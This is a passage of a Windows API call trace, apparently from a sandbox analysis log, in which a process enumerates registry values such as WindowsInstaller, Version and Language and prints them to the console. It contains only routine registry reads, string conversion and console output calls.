WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.981] GetConsoleOutputCP () returned 0x1b5 [0147.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.981] __iob_func () returned 0x7fefd702a80 [0147.981] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.981] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.981] _fileno (_File=0x7fefd702ab0) returned 1 [0147.981] _errno () returned 0xc4bb0 [0147.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.981] _errno () returned 0xc4bb0 [0147.981] GetFileType (hFile=0x50) returned 0x1 [0147.981] lstrlenW (lpString="0x0") returned 3 [0147.981] GetConsoleOutputCP () returned 0x1b5 [0147.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.981] GetConsoleOutputCP () returned 0x1b5 [0147.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.982] __iob_func () returned 0x7fefd702a80 [0147.982] _fileno (_File=0x7fefd702ab0) returned 1 [0147.982] _errno () returned 0xc4bb0 [0147.982] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.982] _errno () returned 0xc4bb0 [0147.982] GetFileType (hFile=0x50) returned 0x1 [0147.982] lstrlenW (lpString="\n") returned 1 [0147.982] GetConsoleOutputCP () returned 0x1b5 [0147.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.982] GetConsoleOutputCP () returned 0x1b5 [0147.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.982] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.982] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.982] GetProcessHeap () returned 0x2e0000 [0147.982] GetProcessHeap () returned 0x2e0000 [0147.982] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.982] GetProcessHeap () returned 0x2e0000 [0147.982] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.982] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.982] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.982] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.982] GetProcessHeap () returned 0x2e0000 [0147.982] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.982] GetProcessHeap () returned 0x2e0000 [0147.982] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.982] GetProcessHeap () returned 0x2e0000 [0147.982] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.983] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.983] __iob_func () returned 0x7fefd702a80 [0147.983] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.983] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.983] _fileno (_File=0x7fefd702ab0) returned 1 [0147.983] _errno () returned 0xc4bb0 [0147.983] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.983] _errno () returned 0xc4bb0 [0147.983] GetFileType (hFile=0x50) returned 0x1 [0147.983] lstrlenW (lpString=" ") returned 4 [0147.983] GetConsoleOutputCP () returned 0x1b5 [0147.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.983] GetConsoleOutputCP () returned 0x1b5 [0147.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.983] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.983] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.983] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.983] __iob_func () returned 0x7fefd702a80 [0147.983] _fileno (_File=0x7fefd702ab0) returned 1 [0147.983] _errno () returned 0xc4bb0 [0147.983] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.983] _errno () returned 0xc4bb0 [0147.983] GetFileType (hFile=0x50) returned 0x1 [0147.983] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.983] GetConsoleOutputCP () returned 0x1b5 [0147.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.984] GetConsoleOutputCP () returned 0x1b5 [0147.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0147.984] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0147.984] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.984] __iob_func () returned 0x7fefd702a80 [0147.984] _fileno (_File=0x7fefd702ab0) returned 1 [0147.984] _errno () returned 0xc4bb0 [0147.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.984] _errno () returned 0xc4bb0 [0147.984] GetFileType (hFile=0x50) returned 0x1 [0147.984] lstrlenW (lpString=" ") returned 4 [0147.984] GetConsoleOutputCP () returned 0x1b5 [0147.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.984] GetConsoleOutputCP () returned 0x1b5 [0147.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.984] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.984] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.984] __iob_func () returned 0x7fefd702a80 [0147.984] _fileno (_File=0x7fefd702ab0) returned 1 [0147.984] _errno () returned 0xc4bb0 [0147.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.984] _errno () returned 0xc4bb0 [0147.985] GetFileType (hFile=0x50) returned 0x1 [0147.985] lstrlenW (lpString="REG_DWORD") returned 9 [0147.985] GetConsoleOutputCP () returned 0x1b5 [0147.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.985] GetConsoleOutputCP () returned 0x1b5 [0147.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.985] __iob_func () returned 0x7fefd702a80 [0147.985] _fileno (_File=0x7fefd702ab0) returned 1 [0147.985] _errno () returned 0xc4bb0 [0147.985] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.985] _errno () returned 0xc4bb0 [0147.985] GetFileType (hFile=0x50) returned 0x1 [0147.985] lstrlenW (lpString=" ") returned 4 [0147.985] GetConsoleOutputCP () returned 0x1b5 [0147.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.985] GetConsoleOutputCP () returned 0x1b5 [0147.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.986] __iob_func () returned 0x7fefd702a80 [0147.986] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.986] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.986] _fileno (_File=0x7fefd702ab0) returned 1 [0147.986] _errno () returned 0xc4bb0 [0147.986] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.986] _errno () returned 0xc4bb0 [0147.986] GetFileType (hFile=0x50) returned 0x1 [0147.986] lstrlenW (lpString="0x1") returned 3 [0147.986] GetConsoleOutputCP () returned 0x1b5 [0147.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.986] GetConsoleOutputCP () returned 0x1b5 [0147.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.986] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.986] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.986] __iob_func () returned 0x7fefd702a80 [0147.986] _fileno (_File=0x7fefd702ab0) returned 1 [0147.986] _errno () returned 0xc4bb0 [0147.986] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.986] _errno () returned 0xc4bb0 [0147.986] GetFileType (hFile=0x50) returned 0x1 [0147.986] lstrlenW (lpString="\n") returned 1 [0147.986] GetConsoleOutputCP () returned 0x1b5 [0147.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.987] GetConsoleOutputCP () returned 0x1b5 [0147.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.987] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.987] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.987] GetProcessHeap () returned 0x2e0000 [0147.987] GetProcessHeap () returned 0x2e0000 [0147.987] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.987] GetProcessHeap () returned 0x2e0000 [0147.987] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.987] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.987] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.987] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.987] GetProcessHeap () returned 0x2e0000 [0147.987] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.987] GetProcessHeap () returned 0x2e0000 [0147.987] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.987] GetProcessHeap () returned 0x2e0000 [0147.987] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.987] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xc00520d, pcbData=0x23f670*=0x4) returned 0x0 [0147.987] __iob_func () returned 0x7fefd702a80 [0147.987] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.987] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.987] _fileno (_File=0x7fefd702ab0) returned 1 [0147.987] _errno () returned 0xc4bb0 [0147.987] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.987] _errno () returned 0xc4bb0 [0147.987] GetFileType (hFile=0x50) returned 0x1 [0147.987] lstrlenW (lpString=" ") returned 4 [0147.988] GetConsoleOutputCP () returned 0x1b5 [0147.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.988] GetConsoleOutputCP () returned 0x1b5 [0147.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.988] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.988] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.988] lstrlenW (lpString="Version") returned 7 [0147.988] __iob_func () returned 0x7fefd702a80 [0147.988] _fileno (_File=0x7fefd702ab0) returned 1 [0147.988] _errno () returned 0xc4bb0 [0147.988] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.988] _errno () returned 0xc4bb0 [0147.988] GetFileType (hFile=0x50) returned 0x1 [0147.988] lstrlenW (lpString="Version") returned 7 [0147.988] GetConsoleOutputCP () returned 0x1b5 [0147.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.988] GetConsoleOutputCP () returned 0x1b5 [0147.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0147.988] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.988] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.989] __iob_func () returned 0x7fefd702a80 [0147.989] _fileno (_File=0x7fefd702ab0) returned 1 [0147.989] _errno () returned 0xc4bb0 [0147.989] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.989] _errno () returned 0xc4bb0 [0147.989] GetFileType (hFile=0x50) returned 0x1 [0147.989] lstrlenW (lpString=" ") returned 4 [0147.989] GetConsoleOutputCP () returned 0x1b5 [0147.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.989] GetConsoleOutputCP () returned 0x1b5 [0147.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.989] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.989] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.989] __iob_func () returned 0x7fefd702a80 [0147.989] _fileno (_File=0x7fefd702ab0) returned 1 [0147.989] _errno () returned 0xc4bb0 [0147.989] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.989] _errno () returned 0xc4bb0 [0147.989] GetFileType (hFile=0x50) returned 0x1 [0147.989] lstrlenW (lpString="REG_DWORD") returned 9 [0147.989] GetConsoleOutputCP () returned 0x1b5 [0147.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.990] GetConsoleOutputCP () returned 0x1b5 [0147.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.990] __iob_func () returned 0x7fefd702a80 [0147.990] _fileno (_File=0x7fefd702ab0) returned 1 [0147.990] _errno () returned 0xc4bb0 [0147.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.990] _errno () returned 0xc4bb0 [0147.990] GetFileType (hFile=0x50) returned 0x1 [0147.990] lstrlenW (lpString=" ") returned 4 [0147.990] GetConsoleOutputCP () returned 0x1b5 [0147.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.990] GetConsoleOutputCP () returned 0x1b5 [0147.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.990] __iob_func () returned 0x7fefd702a80 [0147.990] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.990] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xc00520d") returned 9 [0147.991] _fileno (_File=0x7fefd702ab0) returned 1 [0147.991] _errno () returned 0xc4bb0 [0147.991] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.991] _errno () returned 0xc4bb0 [0147.991] GetFileType (hFile=0x50) returned 0x1 [0147.991] lstrlenW (lpString="0xc00520d") returned 9 [0147.991] GetConsoleOutputCP () returned 0x1b5 [0147.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc00520d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.991] GetConsoleOutputCP () returned 0x1b5 [0147.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc00520d", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc00520d", lpUsedDefaultChar=0x0) returned 9 [0147.991] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.991] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.991] __iob_func () returned 0x7fefd702a80 [0147.991] _fileno (_File=0x7fefd702ab0) returned 1 [0147.991] _errno () returned 0xc4bb0 [0147.991] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.991] _errno () returned 0xc4bb0 [0147.991] GetFileType (hFile=0x50) returned 0x1 [0147.991] lstrlenW (lpString="\n") returned 1 [0147.991] GetConsoleOutputCP () returned 0x1b5 [0147.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.991] GetConsoleOutputCP () returned 0x1b5 [0147.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.992] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.992] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.992] GetProcessHeap () returned 0x2e0000 [0147.992] GetProcessHeap () returned 0x2e0000 [0147.992] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.992] GetProcessHeap () returned 0x2e0000 [0147.992] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.992] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.992] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.992] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.992] GetProcessHeap () returned 0x2e0000 [0147.992] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.992] GetProcessHeap () returned 0x2e0000 [0147.992] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.992] GetProcessHeap () returned 0x2e0000 [0147.992] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.992] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x409, pcbData=0x23f670*=0x4) returned 0x0 [0147.992] __iob_func () returned 0x7fefd702a80 [0147.992] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.992] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.992] _fileno (_File=0x7fefd702ab0) returned 1 [0147.992] _errno () returned 0xc4bb0 [0147.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.992] _errno () returned 0xc4bb0 [0147.992] GetFileType (hFile=0x50) returned 0x1 [0147.992] lstrlenW (lpString=" ") returned 4 [0147.992] GetConsoleOutputCP () returned 0x1b5 [0147.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.993] GetConsoleOutputCP () returned 